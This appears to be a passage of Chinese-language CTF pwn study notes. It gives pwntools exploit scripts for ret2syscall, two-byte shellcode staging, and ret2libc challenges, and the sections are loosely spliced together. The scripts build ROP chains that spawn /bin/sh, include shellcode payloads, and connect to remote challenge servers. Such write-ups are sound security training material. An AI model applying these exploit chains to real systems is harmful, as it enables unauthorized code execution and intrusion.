0x0807b6ed : pop ss ; pop ebx ; ret
这里，我选择
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
这个可以直接控制其它三个寄存器。
此外，我们需要获得 /bin/sh 字符串对应的地址。
$ ROPgadget --binary ret2syscall  --string '/bin/sh'
Strings information
============================================================
0x080be408 : /bin/sh
可以找到对应的地址，此外，还有 int 0x80 的地址，如下
$ ROPgadget --binary ret2syscall  --only 'int'
Gadgets information
============================================================
0x08049421 : int 0x80
0x080890b5 : int 0xcf

Unique gadgets found: 2
同时，也找到对应的地址了。
下面就是对应的 payload，其中 0xb 为 execve 对应的系统调用号。
from pwn import *
sh = process('./ret2syscall')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
    [b'A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
1. 列表形式（按顺序拼接）
python
运行
payload = flat([
    b'A' * 112,         # 填充缓冲区
    pop_eax_ret,        # 地址（自动转换为p64/p32）
    0xb,                # 整数值（自动转换为p64/p32）
    pop_edx_ecx_ebx_ret,
    0, 0, binsh,        # execve("/bin/sh", NULL, NULL)
    int_0x80            # 系统调用地址
])

2. 字典形式（按偏移量填充）
python
运行
payload = flat({
    0: b'A' * 112,       # 从偏移0开始填充
    112: pop_eax_ret,    # 从偏移112开始放地址
    120: 0xb,            # 从偏移120开始放整数
    128: pop_edx_ecx_ebx_ret,
    136: [0, 0, binsh],  # 列表会按顺序拼接
    160: int_0x80
})
等价于
payload = b'A'*112+p32(pop_eax_ret)+p32(0xb)+p32(pop_edx_ecx_ebx_ret)+p32(0)+p32(0)+p32(binsh)+p32(int_0x80)
$ python3 exp.py
[+] Starting local process './ret2syscall': pid 379
[*] Switching to interactive mode
This time, no system() and NO SHELLCODE!!!
What do you plan to do?
$ ls
ctfshow_flag  exp.py  pwn  ret2libc1  ret2libc2  ret2libc3  ret2syscall
题目 ¶
train.cs.nctu.edu.tw: ret2libc
[ret2text]: 


week2
2025-07-05T09:00:00.000Z
shellcode_level1
Hint:两字节怎么写系统调用
点击下载: shellcode_level1
Checksec 查看保护
$ chmod +x shellcode_level1
$ checksec shellcode_level1
  Arch:       amd64-64-little
  RELRO:      Full RELRO
  Stack:      Canary found
  NX:         NX enabled
  PIE:        PIE enabled
  SHSTK:      Enabled
  IBT:        Enabled
  Stripped:   No
发现elf开启了pie保护，并且开启了canary保护，这使得使用栈溢出漏洞进行攻击变得难以执行。但是，根据题目提示，本题实质上还是要写入shellcode，但是具体往哪里写呢？又怎么写入呢？
还是利用ida进行反编译，观察一下程序的逻辑。
int __fastcall main(int argc, const char **argv, const char **envp){
  void *buf; // [rsp+0h] [rbp-10h]

  buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( buf == (void *)-1LL ){
    perror("mmap failed");
    return 1;
  }
  else{
    read(0, buf, 2uLL);
    ((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL);
    if ( munmap(buf, 0x1000uLL) == -1 ){
      perror("munmap failed");
      return 1;
    }
    else{
      return 0;
    }
  }
}
ida里我们发现，buf变量是一段可读可写可执行的内存空间，并且，如果mmap函数开辟空间正确，首先会向buf里读入两个字节，然后会把buf空间里的内容当作函数，进行执行。那么我们自然可以想到，如果我们向buf里写入shellcode，那shellcode就会被执行，我们就可以成功获取shell。但是因为程序开启了pie保护，所以我们直接找到buf的地址向buf里写入shellcode的思路显然是不可行的，那具体怎么写入呢？
通过检查汇编代码，可以发现，在read(0,buf,2ull)之后，有向寄存器赋值的汇编代码，并且会调用rcx寄存器里的内容的操作，那我们就自然可以想到，向rcx寄存器里写入一个函数，且该函数的功能可以实现向buf里读取内容的操作。所以我们可以向rcx寄存器里写入syscall，那么syscall第一个参数是rax寄存器里的值0，所以此时看似调用的是syscall，实则调用的是read函数，并且，rax里是0，rsi的值是buf，rdx的值是500h，也就是调用read(0,buf,0x500)。
.text:000000000000122A loc_122A:                               ; CODE XREF: main+49↑j
.text:000000000000122A                 mov     rax, [rbp+buf]
.text:000000000000122E                 mov     edx, 2          ; nbytes
.text:0000000000001233                 mov     rsi, rax        ; buf
.text:0000000000001236                 mov     edi, 0          ; fd
.text:000000000000123B                 call    _read
.text:0000000000001240                 mov     rsi, [rbp+buf]
.text:0000000000001244                 mov     rcx, rsi
.text:0000000000001247                 mov     rdx, 500h
.text:000000000000124E                 mov     rax, 0
.text:0000000000001255                 call    rcx
.text:0000000000001257                 mov     rax, [rbp+buf]
.text:000000000000125B                 mov     esi, 1000h      ; len
.text:0000000000001260                 mov     rdi, rax        ; addr
.text:0000000000001263                 call    _munmap
.text:0000000000001268                 cmp     eax, 0FFFFFFFFh
.text:000000000000126B                 jnz     short loc_1283
.text:000000000000126D                 lea     rax, aMunmapFailed ; "munmap failed"
.text:0000000000001274                 mov     rdi, rax        ; s
.text:0000000000001277                 call    _perror
.text:000000000000127C                 mov     eax, 1
.text:0000000000001281                 jmp     short loc_1288
from pwn import *
#context(log_level='debug',arch = 'amd64',os = 'linux')
context.arch = 'amd64'
#p=process('./shellcode_level1')
p = remote('gz.imxbt.cn',20160)
p.send(asm('syscall'))
payload = b'aa'+asm(shellcraft.sh()) 
#b'\x90'*2 + asm(shellcraft.sh()) 
# '\x90'为nop的汇编，覆盖掉之前的syscall
p.sendline(payload)
p.interactive()
她与你皆失
Hint：这下好了，什么都没了，你满意了？
点击下载: pwn
checksec：
$ chmod +x pwn
$ checksec pwn
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
ida查看：
int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF

  init(argc, argv, envp);
  puts("I have nothing, what should I do?");
  read(0, buf, 0x100u);
  return 0;
}
明显栈溢出，ret2libc：
$ ROPgadget --binary ./pwn | grep "ret"
0x0000000000401176 : pop rdi ; ret
0x000000000040101a : ret
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
io = process('./pwn')
elf = ELF('./pwn')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
main_addr = elf.symbols['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts'] 

pop_rdi_ret = 0x401176
ret = 0x40101a

io.recv()
payload = cyclic(0xA+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.send(payload)
puts = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts))
libc_base = puts - libc.sym["puts"]
system = libc_base + libc.sym["system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
payload = cyclic(0xA+8) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(0)
io.sendline(payload)
io.interactive()
from pwn import *
from LibcSearcher import LibcSearcher 
context(arch='amd64', os='linux', log_level='debug')
io = remote('gz.imxbt.cn', 20634)
elf = ELF('./pwn')
offset = 18
pop_rdi_ret = 0x401176
ret = 0x40101a
main_addr = elf.sym['main']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

io.recv()
leak_payload = flat(
    b'A' * offset,
    p64(pop_rdi_ret),
    p64(puts_got),
    p64(puts_plt),
    p64(main_addr)
)
io.send(leak_payload)
io.recvline() 
puts_addr = u64(io.recv(6).ljust(8, b'\x00'))
log.success(f"泄露的puts地址: {hex(puts_addr)}")
libc_search = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc_search.dump('puts')
log.success(f"libc基址: {hex(libc_base)}")
system_addr = libc_base + libc_search.dump('system')
binsh_addr = libc_base + libc_search.dump('str_bin_sh')
log.success(f"system地址: {hex(system_addr)}")
log.success(f"/bin/sh地址: {hex(binsh_addr)}")
io.recvuntil(b'I have nothing, what should I do?\n')
shell_payload = flat(
    b'A' * offset,
    p64(ret),  # 栈对齐
    p64(pop_rdi_ret),
    p64(binsh_addr),
    p64(system_addr),
    p64(main_addr)
)
io.send(shell_payload)
io.interactive()
#libc6_2.35-0ubuntu3.8_amd64